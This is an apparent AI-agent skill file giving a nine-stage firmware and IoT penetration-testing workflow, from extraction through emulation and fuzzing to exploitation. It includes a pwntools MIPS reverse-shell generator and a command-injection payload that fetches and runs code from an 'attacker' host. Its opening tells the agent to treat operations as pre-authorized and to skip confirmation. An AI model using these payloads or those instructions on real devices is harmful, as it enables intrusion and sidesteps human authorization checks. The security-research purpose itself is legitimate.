Firmware / IoT Penetration Chain (Firmware Pentest)

ACTION REQUIRED（Read and execute immediately after reading）

```
NOW
```
: Read
```
../field-journal/precedent-pentest.md
```
— Confirm that the operations of this skill are authorized routine operations
```
NOW
```
: Confirm whether the current task falls within the scope of this skill
```
NEXT
```
: Read
```
../tool-index.md
```
to verify tool availability and actual paths
```
NEXT
```
: Call bootstrap when tools are missing, do not guess paths
```
ACT
```
: Proceed to the first step of the "Workflow" and execute, do not stay in the confirmation state

Scope of Application

Enter this skill for the following tasks:

Obtain a firmware file (.bin / .img / .trx / .chk / OTA zip) and need to achieve RCE from scratch
Router/camera/IoT device auditing — Need to batch discover known CVEs and undisclosed vulnerabilities
Encrypted/packaged firmware, need to find bootloader decryption routines or hardware dumps
Need to run without touching hardware (QEMU full-system emulation / Firmadyne / FAT)
Fuzz emulated services (AFL++ qemu mode / boofuzz)
Hardware interface access (UART / JTAG / SPI flash dump)

Division of Labor with Other Skills

Scenario	What to Use
Obtain firmware from scratch and follow FSTM full chain	This skill
Only perform static reverse engineering of a single ELF/so	`reverse-engineering/` 、 `ida-reverse/` 、 `radare2/`
Perform Web/RCE exploitation after emulation	`pentest-tools/` 、 `attack-chain/`
Hardware interface (UART/JTAG/SPI) operation	Stage 2 of this skill + `patterns-hardware.md`
APK / Android firmware (including boot.img)	`apk-reverse/` (Strip boot.img first then use this skill)
Cross-version firmware symbol migration	`binary-diff/`

Core Principles

text

Firmware .bin
   │
   ├─ Stage 1-3: Information Gathering / Obtaining / Static Analysis (parts visible without extraction)
   │
   ├─ Stage 4: Extract Filesystem  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ Failure → Find bootloader decryption routine / UART dump / SPI flash hardware reading
   │
   ├─ Stage 5: Static Filesystem Analysis  ← EMBA automation + manual grep
   │
   ├─ Stage 6: Emulation  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: Dynamic / Runtime Analysis  ← gdb-multiarch, IDA remote debugging, Ghidra
   │
   └─ Stage 9: Binary Exploitation  ← AFL++ fuzz / manual PoC / ARM / MIPS payload

Key Judgments:

Extraction failure does not mean the firmware is encrypted; run binwalk v2, binwalk v3, unblob, jefferson, ubi_reader all first
EMBA generates HTML reports with one command, saving 80% of effort, the remaining 20% is real vulnerability discovery
When emulation fails, prioritize suspecting missing NVRAM, mismatched network card names, missing
```
/dev/
```
nodes
ARM / MIPS payloads must distinguish endianness (mipsel vs mipseb), do not use the wrong one

OWASP FSTM 9-Stage Workflow

Stage 1 — Information Gathering

Collect model, chip, SDK, and disclosed CVEs.

bash

# FCC ID Query (US region devices)
curl -s "https://fccid.io/?q=$FCC_ID"

# Chip Identification Reference Points
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

Output: Chip model, SDK source (SDK determines whether binwalk can succeed in one go).

Stage 2 — Obtaining Firmware

Four paths: Official website download, OTA packet capture, dump after getting shell via UART, physical reading via SPI flash.

bash

# Batch download after OTA packet capture
mitmdump -s save_response.py

# UART Access (USB-TTL, common baud rates 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# SPI flash reading with CH341A + flashrom
flashrom -p ch341a_spi -r dump.bin

Stage 3 — Analyzing Firmware

Check header, entropy, strings, and recognizable signatures without extraction.

bash

binwalk firmware.bin              # Magic scan
binwalk -E firmware.bin           # Entropy graph, high entropy segment = compressed/encrypted
strings -n 8 firmware.bin | less  # Banner / kernel version / paths
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 — Extracting Filesystem

See

references/extraction-methodology.md

for details.

bash

binwalk -eM firmware.bin           # Recursive extraction
unblob -d out/ firmware.bin        # Handle formats that binwalk fails to process
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 — Static Filesystem Analysis

EMBA one-click scan, see

references/emba-automated-analysis.md

for details.

bash

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

Manual supplements:

bash

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — Emulating Firmware

See

references/emulation-and-fuzz.md

for details.

bash

# User mode: Run a single binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# Full system: FAT (Firmadyne packaged version)
sudo fat.py firmware.bin

Stage 7 — Dynamic Analysis

Attach debugger, capture traffic, run fuzz after emulation.

bash

# GDB remote debugging for MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + Router Web UI
echo "Set the IP emulated by Firmadyne as the Burp upstream proxy target"

Stage 8 — Runtime Analysis

Attach debugger on real hardware, or perform coverage-guided fuzz in emulation mode.

bash

# AFL++ qemu mode fuzzing for ARM / MIPS binary
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — Binary Exploitation

Write PoC, generate payload, get root shell.

bash

# Pwntools generate MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"

Typical Scenario Examples

Scenario 1: Full Chain of Ordinary Router Firmware (TP-Link / Xiaomi Router / OpenWrt Derivatives)

text

Firmware: router_v1.2.3.bin (unencrypted squashfs)
Target: Find unauthenticated RCE in Web management interface and reproduce it

Step 1 Information Gathering
  - FCC ID reverse lookup → MT7621 + MT7615 + 16MB flash
  - Disclosed CVE: CVE-2023-xxxxx (chk header verification flaw)

Step 2 Obtain Firmware
  - Download .bin from official website, compare sha256 with known samples

Step 3 Analysis
  - binwalk → Detects uImage + squashfs-xz
  - Entropy graph → squashfs segment entropy ~0.95 (normal compression)

Step 4 Extraction
  - binwalk -eM router_v1.2.3.bin
  - Get complete root filesystem squashfs-root/

Step 5 EMBA Scan
  - High-risk items in report: lighttpd 1.4.45 (CVE-2018-19052) + multiple CVEs in busybox 1.27.2
  - In-house binary: /usr/sbin/cgibin contains direct string concatenation with system()

Step 6 Emulation
  - sudo fat.py router_v1.2.3.bin
  - Emulated IP 192.168.0.1, Web interface accessible

Step 7-8 Dynamic Analysis
  - Burp captures /cgi-bin/luci series interfaces
  - Discovers hostname parameter directly concatenated into system

Step 9 Exploitation
  - Construct hostname=`;wget http://attacker/x;sh x;`
  - Successfully gets reverse shell in emulation mode
  - Passes real-device retest → Submit to SRC

Scenario 2: Encrypted Firmware (Find Bootloader Decryption Routine)

text

Firmware: encrypted_fw.bin (binwalk shows nothing + entropy ~0.99)

Step 1 Determine if it is truly encrypted
  - Entropy ~0.99 across all segments and no magic signatures → Most likely encrypted or purely compressed
  - Hexdump first 256 bytes of header → Check for vendor header

Step 2 Obtain Bootloader
  - Press key to enter U-Boot during UART boot
  - md.b 0x80000000 0x1000   # Read memory
  - Or physically read entire SPI flash → Contains U-Boot segment

Step 3 Reverse U-Boot to Find Decryption Routine
  - Use reverse-engineering skill (IDA / Ghidra)
  - Entry board_init_r → Find image_decrypt before do_bootm
  - Usually AES-128-CBC, key hardcoded in .rodata

Step 4 Offline Decryption
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 Return to Stage 4 and Follow Standard Process
  - binwalk decrypted.bin → Detects squashfs
  - Subsequent steps same as Scenario 1

Backup Plan
  - Bootloader also encrypted → Find SoC-level ROM documentation
  - SoC has secure boot → Check public fault injection / glitch materials

Notes

Endianness: MIPS routers commonly use mipsel (little-endian, MT series) / mipseb (big-endian, Broadcom series), do not use the wrong qemu binary
NVRAM: If httpd crashes immediately after emulation → 90% chance nvram_get fails to get values, Firmadyne has libnvram hook, FAT includes it by default
EMBA is not a silver bullet: Do not trust all CVEs in the report, verify version strings and actual exploitation conditions
AFL++ qemu mode is slow: Recompile target with afl-clang-lto first (if source code is available), 5-10x faster
Dump before real-device operation: Full flash dump is essential before bricking physical devices, use flashrom / ch341a / minipro
Legal Boundaries: Only conduct on own devices, SRC-authorized devices, CTF, public targets; written authorization required for enterprise production devices
Field-Journal Writeback: Record chip model, SDK, binwalk success status, emulation success status after completing each firmware, reuse directly for same series next time

On-Demand Bootstrap

Tool List

Tool	Purpose	Auto-Install
binwalk v3	Main extraction (Rust rewritten version)	✓
binwalk v2	Compatible with old plugins	✓
unblob	Fallback extraction	✓
jefferson	JFFS2 extraction	✓
ubi_reader	UBI / UBIFS extraction	✓
EMBA	Automated analysis framework	✓
Firmadyne	Full-system emulation	✓
FAT (Firmware Analysis Toolkit)	Firmadyne packaging	✓
qemu-user-static	User-mode emulation	✓
qemu-system-*	Full-system emulation	✓
AFL++	Fuzz testing	✓
pwntools	Vulnerability exploitation scripts	✓
flashrom	SPI flash read/write	✓
picocom	UART serial port	✓

Installation Commands

bash

# Debian / Ubuntu one-click installation
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3 (Rust version)
cargo install binwalk

# Python tools
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install

Windows Users

Firmware penetration chain relies heavily on Linux tools, it is recommended:

WSL2 Ubuntu 22.04 (sufficient for most scenarios)
Or independent Kali / Ubuntu virtual machine
EMBA requires Linux, Firmadyne / FAT require Linux

Routing Context

Upstream Entries:

skills/SKILL.md

(Master Control),

routing.md

Trigger Conditions: Tasks involve firmware files, IoT devices, embedded vulnerability discovery, router auditing Downstream Exports:

In-depth static analysis of single binary →
```
reverse-engineering/
```
、
```
ida-reverse/
```
、
```
radare2/
```
Web RCE / post-exploitation after emulation →
```
pentest-tools/
```
、
```
attack-chain/
```
Cross-version firmware symbol migration →
```
binary-diff/
```
Hardware interface operation reference →
```
patterns-hardware.md
```
APK / boot.img processing →
```
apk-reverse/
```

Peer Associations:

pentest-tools/

(cooperate in Web exploitation stage),

attack-chain/

(cross-stage attack chain planning)

Reference Documents:

```
references/extraction-methodology.md
```
— Extraction details and fallback solutions for failures
```
references/emba-automated-analysis.md
```
— EMBA full process
```
references/emulation-and-fuzz.md
```
— Emulation + fuzzing practice

Task Completion Self-Check (MUST pass before claiming completion)

Have I executed every step in the workflow (instead of just reading)?
Have I used real tool paths based on
```
tool-index
```
?
Have I produced reproducible evidence (commands/scripts/screenshots/reports)?
Have I completed and written back the Checklist items required by RULES?

firmware-pentest

NPX Install

Tags

SKILL.md Content (Chinese)

Firmware / IoT Penetration Chain (Firmware Pentest)

ACTION REQUIRED（Read and execute immediately after reading）

Scope of Application

Division of Labor with Other Skills

Core Principles

OWASP FSTM 9-Stage Workflow

Stage 1 — Information Gathering

Stage 2 — Obtaining Firmware

Stage 3 — Analyzing Firmware

Stage 4 — Extracting Filesystem

Stage 5 — Static Filesystem Analysis

Stage 6 — Emulating Firmware

Stage 7 — Dynamic Analysis

Stage 8 — Runtime Analysis

Stage 9 — Binary Exploitation

Typical Scenario Examples

Scenario 1: Full Chain of Ordinary Router Firmware (TP-Link / Xiaomi Router / OpenWrt Derivatives)

Scenario 2: Encrypted Firmware (Find Bootloader Decryption Routine)

Notes

On-Demand Bootstrap

Tool List

Installation Commands

Windows Users

Routing Context

Task Completion Self-Check (MUST pass before claiming completion)